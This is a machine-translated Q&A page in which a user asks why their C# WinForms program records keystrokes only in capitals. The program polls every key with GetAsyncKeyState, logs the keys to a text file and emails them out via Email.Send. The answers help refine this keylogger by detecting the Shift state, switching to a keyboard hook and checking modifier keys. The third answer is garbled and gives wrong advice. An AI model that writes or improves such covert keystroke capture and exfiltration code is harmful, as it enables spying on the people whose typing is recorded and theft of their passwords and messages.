如何在没有大写锁定的情况下捕获击键?

时间:2014-03-21 22:26:49

标签: c# winforms keystroke keylogger

我正在制作一个winforms程序,它会将我输入的任何内容捕获到文本文件中,但它会使所有字符都被大写锁定。如何在输入时捕获它们? 例如,如果我键入AbCdEf,它会在文本框中输出ABCDEF ...

[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(int vKey);

    private void WriteTotxt(string value)
    {
        StreamWriter str = new StreamWriter("test.txt", true);
        str.Write(value);
        str.Close();
    }

    private void timer1_Tick(object sender, EventArgs e)
    {
        string buffer = "";
        foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
        {
            if(GetAsyncKeyState(i) == -32767)
                buffer += Enum.GetName(typeof(Keys), i);
        }
        text += buffer;
        if (text.Length > 0)
        {
        WriteTotxt(text);
        text = replaceChars(text);
        Email.Send(text);
        text = "";
        }
    }

3 个答案:

答案 0 :(得分:1)

GetAsyncKeyState仅在键的状态时返回。它没有提到任何关于修饰符的内容:Shift,Alt等。所以要么检查是否使用GetAsyncKeyState,如果shift键是关闭的并将其存储在布尔值中。当您记录键并且班次下降时,请将其记为首都。如果不是那么小写。

bool shiftDown = GetAsyncKeyState(Keys.Shift) == -32767; 

foreach (...)
{
    if (GetAsyncKeyState(i) == -32767)
    {
        var key = i.ToString();
        buffer += shiftDown ? i : i.ToLower();
    }
}

另外,我真的建议您阅读文档,如果要检查所有键不使用GetAsyncKeyState,请使用键盘钩子。更多信息(示例):Here。因为您非常快速地遍历所有键,所以它根本没有效率。使用keyboardhook,当按下某个键时会触发回调。

答案 1 :(得分:0)

正如其他人提到的那样,我不愿意进入这个问题,因为键盘记录通常不会很好,但是(a)软件已经在市场上销售了(b)它不像信息已经不自由在MSDN上可用,所以......

并不是说你得到了错误的信息。您正在寻找不完整的信息,只询问 key 字母。正如GetAsyncKeyState() page所述,您还需要检查修饰键,VK_SHIFTVK_CONTROLVK_MENU等,以了解它们是否处于活动状态。

答案 2 :(得分:-3)

使用de event按键,使用ToUpper();

将击键转换为大写

More información about event keypress here